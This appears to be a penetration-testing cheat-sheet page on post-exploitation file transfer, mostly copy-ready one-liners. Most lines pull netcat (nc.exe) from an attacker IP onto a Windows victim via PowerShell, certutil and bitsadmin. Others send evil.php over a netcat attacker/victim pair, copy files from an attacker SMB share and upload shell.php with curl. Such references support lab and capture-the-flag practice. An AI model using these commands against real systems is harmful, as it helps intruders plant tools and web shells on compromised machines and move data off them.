File Transfer

Download

HTTP Server with Python

1
python3 -m http.server 80
2
python2 -m SimpleHTTPServer 80
Copied!

Curl

1
curl -O http://host/file
Copied!

Powershell

1
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.17/nc.exe','c:\temp\nc.exe')
2
3
powershell.exe -c (Start-BitsTransfer -Source "http://10.10.14.17/nc.exe -Destination C:\temp\nc.exe")
4
5
powershell.exe wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"
Copied!

Cetutil

1
certutil.exe -urlcache -split -f "http://10.10.14.17/nc.exe" c:\temp\nc.exe
Copied!

Bitsadmin

1
bitsadmin /transfer job /download /priority high http://10.10.14.17/nc.exe c:\temp\nc.exe
Copied!

Netcat

1
Attacker:
2
nc -lvnp 443 < evil.php
3
4
Victim:
5
nc -v 192.168.42.42 443 > evil.php
Copied!

SMB

1
Attacker:
2
python smbserver.py share .
3
Victom:
4
copy \\10.10.14.21\share\whoami.exe .
Copied!

SCP

1
Attacker:
2
scp [email protected]:secret.zip ./
3
4
scp -r [email protected]:/path/to/share /local/share
5
# remote to local
Copied!

Upload

Curl

1
curl --upload-file shell.php --url http://$ip/shell.php --http1.0
2
3
scp /path/to/local/file.txt [email protected]:/path/to/share
4
# local to remote
Copied!

Link

Post Exploitation File Transfers on Windows the Manual Way
Michael Thelen
Last modified 1yr ago